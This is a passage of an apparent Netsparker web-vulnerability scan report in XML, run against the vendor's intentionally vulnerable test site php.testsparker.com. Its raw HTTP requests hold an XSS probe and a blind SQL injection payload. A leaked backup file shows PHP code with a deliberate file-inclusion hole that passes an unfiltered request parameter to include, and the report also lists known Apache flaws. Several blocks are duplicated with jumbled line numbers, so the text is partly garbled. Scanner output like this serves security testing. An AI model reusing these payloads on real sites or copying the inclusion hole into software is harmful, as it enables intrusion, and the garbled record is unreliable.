6082 <url>http://php.testsparker.com/&apos;%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x00000A)%3C/scRipt%3E</url>
6083 <type>ForbiddenResource</type>
6084 <severity>Information</severity>
6085 <certainty>100</certainty>
6086
6087 <rawrequest><![CDATA[GET /'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x00000A)%3C/scRipt%3E HTTP/1.1
6088 Cache-Control: no-cache
6089 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6090 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6091 X-Scanner: Netsparker
6092 Accept-Language: en-us,en;q=0.5
6093 Host: php.testsparker.com
6094 Accept-Encoding: gzip, deflate
6095
6096 ]]></rawrequest>
6097 <rawresponse><![CDATA[HTTP/1.1 403 Forbidden
6098 Date: Fri, 29 Nov 2013 11:25:51 GMT
6099 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6100 Content-Length: 386
6101 Content-Type: text/html; charset=iso-8859-1
6102
5992 ]]></rawresponse>
5993 <extrainformation>
5994 <info name="Extracted IP Address(es)"><![CDATA[172.16.0.23]]></info>
5995 </extrainformation>
5996
5997 <classification>
5998 <OWASP></OWASP>
5999 <WASC></WASC>
6000 <CWE>200</CWE>
6001 <CAPEC></CAPEC>
6002 <PCI>6.5.6</PCI>
6003 <PCI2></PCI2>
6004 </classification>
6005
6006 </vulnerability>
6007 <vulnerability confirmed="False">
6008 <url>http://php.testsparker.com/process.bak</url>
6009 <type>BackupFileFound</type>
6010 <severity>Low</severity>
6011 <certainty>75</certainty>
6012
6013 <rawrequest><![CDATA[GET /process.bak HTTP/1.1
6014 Cache-Control: no-cache
6015 Referer: http://php.testsparker.com/process.bak
6016 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6017 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6018 X-Scanner: Netsparker
6019 Accept-Language: en-us,en;q=0.5
6020 Host: php.testsparker.com
6021 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
6022 Accept-Encoding: gzip, deflate
6023
6024 ]]></rawrequest>
6025 <rawresponse><![CDATA[HTTP/1.1 200 OK
6026 Date: Fri, 29 Nov 2013 11:26:28 GMT
6027 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6028 ETag: "30000000199eb-363-481496ef4391c"
6029 Accept-Ranges: bytes
6030 Content-Length: 867
6031 Content-Type: text/plain
6032 Last-Modified: Mon, 08 Mar 2010 12:45:00 GMT
6033
6034 <?php
6035 require("auth.php");
6036 ini_set("display_errors","0");
6037
6038 //global configuration area
6039 $globals["title"] = "Netsparker Test Web Site - PHP";
6040 function EndsWith($FullStr, $EndStr)
6041 {
6042 // Get the length of the end string
6043 $StrLen = strlen($EndStr);
6044 // Look at the end of FullStr for the substring the size of EndStr
6045 $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
6046 // If it matches, it does end with EndStr
6047 return $FullStrEnd == $EndStr;
6048 }
6049 ?>
6050
6051 <?php include "Internals/header.php"?>
6052 <body>
6053 <div id="wrapper">
6054 <?php include "Internals/upmenu.php"?>
6055 <?php
6056 $file = $_REQUEST["file"];
6057 if(EndsWith($file,".nsp"))
6058 include $_REQUEST["file"];
6059 ?>
6060 <!-- end #page -->
6061 </div>
6062
6063 <?php include "Internals/footer.php"?>
6064 <!-- end #footer -->
6065 </body>
6066 </html>
6067 ]]></rawresponse>
6068 <extrainformation>
6069 </extrainformation>
6070
6071 <classification>
6072 <OWASP>A8</OWASP>
6073 <WASC>34</WASC>
6074 <CWE>530</CWE>
6075 <CAPEC>87</CAPEC>
6076 <PCI>6.5.10</PCI>
6077 <PCI2>6.5.8</PCI2>
6078 </classification>
6079
6080 </vulnerability>
6081 <vulnerability confirmed="True">
6082 <url>http://php.testsparker.com/&apos;%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x00000A)%3C/scRipt%3E</url>
6083 <type>ForbiddenResource</type>
6084 <severity>Information</severity>
6085 <certainty>100</certainty>
6086
6087 <rawrequest><![CDATA[GET /'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x00000A)%3C/scRipt%3E HTTP/1.1
6088 Cache-Control: no-cache
6089 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6090 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6091 X-Scanner: Netsparker
6092 Accept-Language: en-us,en;q=0.5
6093 Host: php.testsparker.com
6094 Accept-Encoding: gzip, deflate
6095
6096 ]]></rawrequest>
6097 <rawresponse><![CDATA[HTTP/1.1 403 Forbidden
6098 Date: Fri, 29 Nov 2013 11:25:51 GMT
6099 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6100 Content-Length: 386
6101 Content-Type: text/html; charset=iso-8859-1
6102
61036103 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
61046104 <html><head>
61056105 <title>403 Forbidden</title>
61106110 <hr>
61116111 <address>Apache/2.2.8 (Win32) PHP/5.2.6 Server at php.testsparker.com Port 80</address>
61126112 </body></html>
6113 ]]></rawresponse>
6114 <extrainformation>
6115 </extrainformation>
6116
6117
6118 </vulnerability>
6119 <vulnerability confirmed="True">
6120 <url>http://php.testsparker.com/artist.php?id=-1+OR+1%3d1))+AND+1%3d(SELECT+IF((IFNULL(ASCII(SUBSTRING((SELECT+CONCAT(CHAR(78)%2cCHAR(69)%2cCHAR(84)%2cCHAR(83)%2cCHAR(80)%2cCHAR(65)%2cCHAR(82)%2cCHAR(75)%2cCHAR(69)%2cCHAR(82)))%2c5%2c1))%2c0)%3d88)%2c1%2c2))--+</url>
6121 <type>MySqlIdentified</type>
6122 <severity>Information</severity>
6123 <certainty>100</certainty>
6124
6125 <rawrequest><![CDATA[GET /artist.php?id=-1+OR+1%3d1))+AND+1%3d(SELECT+IF((IFNULL(ASCII(SUBSTRING((SELECT+CONCAT(CHAR(78)%2cCHAR(69)%2cCHAR(84)%2cCHAR(83)%2cCHAR(80)%2cCHAR(65)%2cCHAR(82)%2cCHAR(75)%2cCHAR(69)%2cCHAR(82)))%2c5%2c1))%2c0)%3d88)%2c1%2c2))--+ HTTP/1.1
6126 Cache-Control: no-cache
6127 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
6128 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6129 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6130 X-Scanner: Netsparker
6131 Accept-Language: en-us,en;q=0.5
6132 Host: php.testsparker.com
6133 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
6134 Accept-Encoding: gzip, deflate
6135
6136 ]]></rawrequest>
6137 <rawresponse><![CDATA[HTTP/1.1 200 OK
6138 Connection: close
6139 Date: Fri, 29 Nov 2013 11:28:15 GMT
6140 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6141 X-Powered-By: PHP/5.2.6
6142 Content-Length: 2794
6143 Content-Type: text/html
6144
6145
6146 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
6147 <html xmlns="http://www.w3.org/1999/xhtml">
6148 <head>
6149 <meta name="keywords" content="" />
6150 <meta name="description" content="" />
6151 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
6152 <title>Netsparker Test Web Site - PHP</title>
6153 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
6154 </head><link type="text/css" href="Generics/style.css" rel="stylesheet"/>
6155 <body>
6156 <div id="wrapper">
6157
6158 <div id="menu">
6159 <ul>
6160 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
6161 <li><a href="hello.php?name=Visitor">Hello</a></li>
6162 <li><a href="products.php?pro=url">Products</a></li>
6163 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
6164 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
6165 <li><a href="auth/">Login</a></li>
6166 </ul>
6167 </div>
6168 <!-- end #menu -->
6169 <div id="header">
6170
6171 </div>
6172 <!-- end #header --> <div id="page">
6173 <div id="page-bgtop">
6174 <div id="page-bgbtm">
6175 <div id="content">
6176 <div class="post">
6177 <h2 class="title"><a href="artist.php#">Artist Service</a></h2>
6178
6179 <div style="clear: both;">&nbsp;</div>
6180 <div class="entry">
6181 <p>
6182
6183
6184
6113 ]]></rawresponse>
6114 <extrainformation>
6115 </extrainformation>
6116
6117
6118 </vulnerability>
6119 <vulnerability confirmed="True">
6120 <url>http://php.testsparker.com/artist.php?id=-1+OR+1%3d1))+AND+1%3d(SELECT+IF((IFNULL(ASCII(SUBSTRING((SELECT+CONCAT(CHAR(78)%2cCHAR(69)%2cCHAR(84)%2cCHAR(83)%2cCHAR(80)%2cCHAR(65)%2cCHAR(82)%2cCHAR(75)%2cCHAR(69)%2cCHAR(82)))%2c5%2c1))%2c0)%3d88)%2c1%2c2))--+</url>
6121 <type>MySqlIdentified</type>
6122 <severity>Information</severity>
6123 <certainty>100</certainty>
6124
6125 <rawrequest><![CDATA[GET /artist.php?id=-1+OR+1%3d1))+AND+1%3d(SELECT+IF((IFNULL(ASCII(SUBSTRING((SELECT+CONCAT(CHAR(78)%2cCHAR(69)%2cCHAR(84)%2cCHAR(83)%2cCHAR(80)%2cCHAR(65)%2cCHAR(82)%2cCHAR(75)%2cCHAR(69)%2cCHAR(82)))%2c5%2c1))%2c0)%3d88)%2c1%2c2))--+ HTTP/1.1
6126 Cache-Control: no-cache
6127 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
6128 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6129 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6130 X-Scanner: Netsparker
6131 Accept-Language: en-us,en;q=0.5
6132 Host: php.testsparker.com
6133 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
6134 Accept-Encoding: gzip, deflate
6135
6136 ]]></rawrequest>
6137 <rawresponse><![CDATA[HTTP/1.1 200 OK
6138 Connection: close
6139 Date: Fri, 29 Nov 2013 11:28:15 GMT
6140 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6141 X-Powered-By: PHP/5.2.6
6142 Content-Length: 2794
6143 Content-Type: text/html
6144
6145
6146 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
6147 <html xmlns="http://www.w3.org/1999/xhtml">
6148 <head>
6149 <meta name="keywords" content="" />
6150 <meta name="description" content="" />
6151 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
6152 <title>Netsparker Test Web Site - PHP</title>
6153 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
6154 </head><link type="text/css" href="Generics/style.css" rel="stylesheet"/>
6155 <body>
6156 <div id="wrapper">
6157
6158 <div id="menu">
6159 <ul>
6160 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
6161 <li><a href="hello.php?name=Visitor">Hello</a></li>
6162 <li><a href="products.php?pro=url">Products</a></li>
6163 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
6164 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
6165 <li><a href="auth/">Login</a></li>
6166 </ul>
6167 </div>
6168 <!-- end #menu -->
6169 <div id="header">
6170
6171 </div>
6172 <!-- end #header --> <div id="page">
6173 <div id="page-bgtop">
6174 <div id="page-bgbtm">
6175 <div id="content">
6176 <div class="post">
6177 <h2 class="title"><a href="artist.php#">Artist Service</a></h2>
6178
6179 <div style="clear: both;">&nbsp;</div>
6180 <div class="entry">
6181 <p>
6182
6183
6184
61856185 no rows returned
6186 </p>
6187
6188 </div>
6189 </div>
6190 <div style="clear: both;">&nbsp;</div>
6191 </div>
6192 <!-- end #content -->
6193
6194 <div id="sidebar">
6195 <ul>
6196 <li>
6197 <div id="search" >
6198 <form method="get" action="artist.php">
6199 <div>
6200 <input type="text" name="s" id="search-text" value="" />
6201 <input type="submit" id="search-submit" value="GO" />
6202 </div>
6203 </form>
6204
6205 </div>
6206 <div style="clear: both;">&nbsp;</div>
6207 </li>
6208 <li>
6209 <h2>Tags</h2>
6210 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
6211 </li>
6212 <li>
6213 <h2>Inner Pages</h2>
6214 <ul>
6215 <li><a href="artist.php?id=test">Artist Search</a></li>
6216 <li><a href="nslookup.php">Lookup Service</a></li>
6217 </ul>
6218 </li>
6219 <li>
6220 <h2>Links</h2>
6221 <ul>
6222 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
6223 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
6224 </ul>
6225 </li>
6226 </ul>
6227 </div> <!-- end #sidebar -->
6228 <div style="clear: both;">&nbsp;</div>
6229 </div>
6230 </div>
6231 </div>
6232 <!-- end #page -->
6233 </div>
6234
6235 <div id="footer">
6236 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
6237 </div> <!-- end #footer -->
6238 </body>
6239 </html>
6240 ]]></rawresponse>
6241 <extrainformation>
6242 </extrainformation>
6243
6244
6245 </vulnerability>
6246 <vulnerability confirmed="False">
6247 <url>http://php.testsparker.com/.svn/</url>
6248 <type>ApacheDirectoryListing</type>
6249 <severity>Information</severity>
6250 <certainty>90</certainty>
6251
6252 <rawrequest><![CDATA[GET /.svn/ HTTP/1.1
6253 Cache-Control: no-cache
6254 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6255 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6256 X-Scanner: Netsparker
6257 Accept-Language: en-us,en;q=0.5
6258 Host: php.testsparker.com
6259 Accept-Encoding: gzip, deflate
6260
6261 ]]></rawrequest>
6262 <rawresponse><![CDATA[HTTP/1.1 200 OK
6263 Date: Fri, 29 Nov 2013 11:25:37 GMT
6264 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6265 Content-Length: 1110
6266 Content-Type: text/html;charset=UTF-8
6267
6186 </p>
6187
6188 </div>
6189 </div>
6190 <div style="clear: both;">&nbsp;</div>
6191 </div>
6192 <!-- end #content -->
6193
6194 <div id="sidebar">
6195 <ul>
6196 <li>
6197 <div id="search" >
6198 <form method="get" action="artist.php">
6199 <div>
6200 <input type="text" name="s" id="search-text" value="" />
6201 <input type="submit" id="search-submit" value="GO" />
6202 </div>
6203 </form>
6204
6205 </div>
6206 <div style="clear: both;">&nbsp;</div>
6207 </li>
6208 <li>
6209 <h2>Tags</h2>
6210 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
6211 </li>
6212 <li>
6213 <h2>Inner Pages</h2>
6214 <ul>
6215 <li><a href="artist.php?id=test">Artist Search</a></li>
6216 <li><a href="nslookup.php">Lookup Service</a></li>
6217 </ul>
6218 </li>
6219 <li>
6220 <h2>Links</h2>
6221 <ul>
6222 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
6223 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
6224 </ul>
6225 </li>
6226 </ul>
6227 </div> <!-- end #sidebar -->
6228 <div style="clear: both;">&nbsp;</div>
6229 </div>
6230 </div>
6231 </div>
6232 <!-- end #page -->
6233 </div>
6234
6235 <div id="footer">
6236 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
6237 </div> <!-- end #footer -->
6238 </body>
6239 </html>
6240 ]]></rawresponse>
6241 <extrainformation>
6242 </extrainformation>
6243
6244
6245 </vulnerability>
6246 <vulnerability confirmed="False">
6247 <url>http://php.testsparker.com/.svn/</url>
6248 <type>ApacheDirectoryListing</type>
6249 <severity>Information</severity>
6250 <certainty>90</certainty>
6251
6252 <rawrequest><![CDATA[GET /.svn/ HTTP/1.1
6253 Cache-Control: no-cache
6254 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6255 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6256 X-Scanner: Netsparker
6257 Accept-Language: en-us,en;q=0.5
6258 Host: php.testsparker.com
6259 Accept-Encoding: gzip, deflate
6260
6261 ]]></rawrequest>
6262 <rawresponse><![CDATA[HTTP/1.1 200 OK
6263 Date: Fri, 29 Nov 2013 11:25:37 GMT
6264 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6265 Content-Length: 1110
6266 Content-Type: text/html;charset=UTF-8
6267
62686268 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
62696269 <html>
62706270 <head>
62806280 </table>
62816281 <address>Apache/2.2.8 (Win32) PHP/5.2.6 Server at php.testsparker.com Port 80</address>
62826282 </body></html>
6283 ]]></rawresponse>
6284 <extrainformation>
6285 </extrainformation>
6286
6287 <classification>
6288 <OWASP>A6</OWASP>
6289 <WASC>16</WASC>
6290 <CWE>548</CWE>
6291 <CAPEC>127</CAPEC>
6292 <PCI>6.5.6</PCI>
6293 <PCI2></PCI2>
6294 </classification>
6295
6296 </vulnerability>
6297 <vulnerability confirmed="False">
6298 <url>http://php.testsparker.com/process.php?file=Generics/contact.nsp</url>
6299 <type>EmailDisclosure</type>
6300 <severity>Information</severity>
6301 <certainty>95</certainty>
6302
6303 <rawrequest><![CDATA[GET /process.php?file=Generics/contact.nsp HTTP/1.1
6304 Cache-Control: no-cache
6305 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
6306 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6307 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6308 X-Scanner: Netsparker
6309 Accept-Language: en-us,en;q=0.5
6310 Host: php.testsparker.com
6311 Accept-Encoding: gzip, deflate
6312
6313 ]]></rawrequest>
6314 <rawresponse><![CDATA[HTTP/1.1 200 OK
6315 Date: Fri, 29 Nov 2013 11:25:52 GMT
6316 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6317 X-Powered-By: PHP/5.2.6
6318 Content-Length: 3363
6319 Content-Type: text/html
6320
6321
6322 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
6323 <html xmlns="http://www.w3.org/1999/xhtml">
6324 <head>
6325 <meta name="keywords" content="" />
6326 <meta name="description" content="" />
6327 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
6328 <title>Netsparker Test Web Site - PHP</title>
6329 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
6330 </head><body>
6331 <div id="wrapper">
6332
6333 <div id="menu">
6334 <ul>
6335 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
6336 <li><a href="hello.php?name=Visitor">Hello</a></li>
6337 <li><a href="products.php?pro=url">Products</a></li>
6338 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
6339 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
6340 <li><a href="auth/">Login</a></li>
6341 </ul>
6342 </div>
6343 <!-- end #menu -->
6344 <div id="header">
6345
6346 </div>
6347 <!-- end #header -->
6348 <div id="page">
6349 <div id="page-bgtop">
6350 <div id="page-bgbtm">
6351 <div id="content">
6352 <div class="post">
6353
6354
6355
6356 <div class="entry">
6357 <h1 class="title"><a href="/process.php?file=Generics/contact.nsp">Contact </a></h1>
6358 <p>
6359
6360 <iframe width="540" height="350" frameborder="0" scrolling="no" marginheight="0"
6361 style="float: left" marginwidth="0" src="http://maps.google.com/maps?q=mavituna+security&output=embed">
6362 </iframe>
6363
6364
6365
6366
6367 <strong><br />Test&Demonstration Site Ltd
6368 <br />(reg. no. 123456)</strong><br />
6369 <p>
6370 Green House,
6371 3478 Stone QX
6372 Dos Tringulas
6373 EK7 AP0<br />
6374 USA<br />
6375 </p>
6376
6377 <p>
6378 <span>Tel: +44 123 456 7890</span><br />
6379 <span>Fax: +44 123 456 7891</span></p>
6380 <p>
6381
6382 <p>
6383 E-mail: [email protected]</b></a></p>
6384 </p>
6385
6386 </div>
6387 </div>
6388 <div style="clear: both;">&nbsp;</div>
6389 </div>
6390 <!-- end #content -->
6391
6392 <div id="sidebar">
6393 <ul>
6394 <li>
6395 <div id="search" >
6396 <form method="get" action="artist.php">
6397 <div>
6398 <input type="text" name="s" id="search-text" value="" />
6399 <input type="submit" id="search-submit" value="GO" />
6400 </div>
6401 </form>
6402
6403 </div>
6404 <div style="clear: both;">&nbsp;</div>
6405 </li>
6406 <li>
6407 <h2>Tags</h2>
6408 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
6409 </li>
6410 <li>
6411 <h2>Inner Pages</h2>
6412 <ul>
6413 <li><a href="artist.php?id=test">Artist Search</a></li>
6414 <li><a href="nslookup.php">Lookup Service</a></li>
6415 </ul>
6416 </li>
6417 <li>
6418 <h2>Links</h2>
6419 <ul>
6420 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
6421 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
6422 </ul>
6423 </li>
6424 </ul>
6425 </div> <!-- end #sidebar -->
6426 <div style="clear: both;">&nbsp;</div>
6427 </div>
6428 </div>
6429 </div> <!-- process.php load pages from path of the website. -->
6430 <!-- FIXME: File / directory permissions -->
6431 <!-- end #page -->
6432 </div>
6433
6434 <div id="footer">
6435 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
6436 </div> <!-- end #footer -->
6437 </body>
6438 </html>
6439 ]]></rawresponse>
6440 <extrainformation>
6441 <info name="Found E-mails"><![CDATA[[email protected]]]></info>
6442 </extrainformation>
6443
6444 <classification>
6445 <OWASP></OWASP>
6446 <WASC>13</WASC>
6447 <CWE>200</CWE>
6448 <CAPEC>118</CAPEC>
6449 <PCI>6.5.6</PCI>
6450 <PCI2></PCI2>
6451 </classification>
6452
6453 </vulnerability>
6454 <vulnerability confirmed="True">
6455 <url>http://php.testsparker.com/robots.txt</url>
6456 <type>RobotsIdentified</type>
6457 <severity>Information</severity>
6458 <certainty>100</certainty>
6459
6460 <rawrequest><![CDATA[GET /robots.txt HTTP/1.1
6461 Cache-Control: no-cache
6462 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6463 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6464 X-Scanner: Netsparker
6465 Accept-Language: en-us,en;q=0.5
6466 Host: php.testsparker.com
6467 Accept-Encoding: gzip, deflate
6468
6469 ]]></rawrequest>
6470 <rawresponse><![CDATA[HTTP/1.1 200 OK
6471 Date: Fri, 29 Nov 2013 11:25:41 GMT
6472 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6473 ETag: "30000000199ef-1a-49ca232cb73c3"
6474 Accept-Ranges: bytes
6475 Content-Length: 26
6476 Content-Type: text/plain
6477 Last-Modified: Sat, 19 Feb 2011 12:59:17 GMT
6478
6479 User-agent: *
6480 Disallow: /]]></rawresponse>
6481 <extrainformation>
6482 <info name="Interesting Robots.txt Entries"><![CDATA[Disallow: /]]></info>
6483 </extrainformation>
6484
6485
6486 </vulnerability>
6487 <vulnerability confirmed="False">
6488 <url>http://php.testsparker.com/</url>
6489 <type>ApacheOutOfDate</type>
6490 <severity>Information</severity>
6491 <certainty>90</certainty>
6492
6493 <rawrequest><![CDATA[GET / HTTP/1.1
6494 Cache-Control: no-cache
6495 Connection: Keep-Alive
6496 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6497 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6498 X-Scanner: Netsparker
6499 Accept-Language: en-us,en;q=0.5
6500 Host: php.testsparker.com
6501 Accept-Encoding: gzip, deflate
6502
6503 ]]></rawrequest>
6504 <rawresponse><![CDATA[HTTP/1.1 200 OK
6505 Connection: Keep-Alive
6506 Date: Fri, 29 Nov 2013 11:25:33 GMT
6507 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6508 X-Powered-By: PHP/5.2.6
6509 Keep-Alive: timeout=5, max=100
6510 Content-Length: 144
6511 Content-Type: text/html
6512
6513 <html>
6514 <HEAD>
6515 <SCRIPT language="JavaScript">
6516 <!--
6517 window.location="process.php?file=Generics/index.nsp";
6518 //-->
6519 </SCRIPT>
6520 </HEAD>
6521 </html>]]></rawresponse>
6522 <extrainformation>
6523 <info name="Version"><![CDATA[2.2.8]]></info>
6524 <info name="Vulnerability Database"><![CDATA[Result is based on 17/11/2013 vulnerability database content.]]></info>
6525 </extrainformation>
6526
6527 <classification>
6528 <OWASP>A6</OWASP>
6529 <WASC></WASC>
6530 <CWE></CWE>
6531 <CAPEC>310</CAPEC>
6532 <PCI>6.1</PCI>
6533 <PCI2>6.1</PCI2>
6534 </classification>
6535
6536 <knownvulnerabilities>
6537 <knownvulnerability>
6538 <title>Apache mod_proxy_balancer CSRF Vulnerability</title>
6539 <severity>Low</severity>
6540 </knownvulnerability>
6541 <knownvulnerability>
6542 <title>Apache mod_proxy_http Interim Response Denial of Service Vulnerability </title>
6543 <severity>Medium</severity>
6544 </knownvulnerability>
6545 <knownvulnerability>
6546 <title>Apache mod_proxy_ftp Wildcard Characters Cross-Site Scripting Vulnerability </title>
6547 <severity>Low</severity>
6548 </knownvulnerability>
6549 <knownvulnerability>
6550 <title>Apache mod_proxy Remote Denial Of Service Vulnerability</title>
6551 <severity>Medium</severity>
6552 </knownvulnerability>
6553 <knownvulnerability>
6554 <title>Apache HTTP Server mod_deflate Denial of Service Vulnerability </title>
6555 <severity>Medium</severity>
6556 </knownvulnerability>
6557 <knownvulnerability>
6558 <title>Apache APR-util apr_brigade_vprintf Off By One Vulnerability</title>
6559 <severity>Low</severity>
6560 </knownvulnerability>
6561 <knownvulnerability>
6562 <title>Apache APR-util xml/apr_xml.c Denial of Service Vulnerability</title>
6563 <severity>Low</severity>
6564 </knownvulnerability>
6565 <knownvulnerability>
6566 <title>Apache APR-util apr_strmatch_precompile() Integer Underflow Vulnerability</title>
6567 <severity>Medium</severity>
6568 </knownvulnerability>
6569 <knownvulnerability>
6570 <title>Apache APR and APR-util Multiple Integer Overflow Vulnerabilities</title>
6571 <severity>Low</severity>
6572 </knownvulnerability>
6573 <knownvulnerability>
6574 <title>Apache mod_proxy_ftp Module Insufficient Input Validation Denial Of Service Vulnerability </title>
6575 <severity>Medium</severity>
6576 </knownvulnerability>
6577 <knownvulnerability>
6578 <title>Apache mod_proxy_ftp Remote Command Injection Vulnerability </title>
6579 <severity>Low</severity>
6580 </knownvulnerability>
6581 <knownvulnerability>
6582 <title>Apache mod_isapi Memory Corruption Vulnerability </title>
6583 <severity>Low</severity>
6584 </knownvulnerability>
6585 <knownvulnerability>
6586 <title>Apache 'mod_isapi' Memory Corruption Vulnerability</title>
6587 <severity>Low</severity>
6588 </knownvulnerability>
6589 <knownvulnerability>
6590 <title>Apache mod_proxy_ajp Module Incoming Request Body Denial Of Service Vulnerability</title>
6591 <severity>Medium</severity>
6592 </knownvulnerability>
6593 <knownvulnerability>
6594 <title>Apache mod_cache and mod_dav Request Handling Denial of Service Vulnerability </title>
6595 <severity>Medium</severity>
6596 </knownvulnerability>
6597 <knownvulnerability>
6598 <title>Apache APR-util apr_brigade_split_line() Denial of Service Vulnerability </title>
6599 <severity>Low</severity>
6600 </knownvulnerability>
6601 <knownvulnerability>
6602 <title>Apache APR apr_fnmatch() Denial of Service Vulnerability</title>
6603 <severity>Medium</severity>
6604 </knownvulnerability>
6605 <knownvulnerability>
6606 <title>Apache HTTP Server CVE-2011-3192 Denial Of Service Vulnerability</title>
6607 <severity>Medium</severity>
6608 </knownvulnerability>
6609 <knownvulnerability>
6610 <title>Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability</title>
6611 <severity>Important</severity>
6612 </knownvulnerability>
6613 <knownvulnerability>
6614 <title>Apache HTTP Server Scoreboard Local Security Bypass Vulnerability</title>
6615 <severity>Important</severity>
6616 </knownvulnerability>
6617 <knownvulnerability>
6618 <title>Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability</title>
6619 <severity>Important</severity>
6620 </knownvulnerability>
6621 <knownvulnerability>
6622 <title>Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability</title>
6623 <severity>Important</severity>
6624 </knownvulnerability>
6625 <knownvulnerability>
6626 <title>Apache HTTP Server CVE-2011-3348 Denial Of Service Vulnerability</title>
6627 <severity>Important</severity>
6628 </knownvulnerability>
6629 <knownvulnerability>
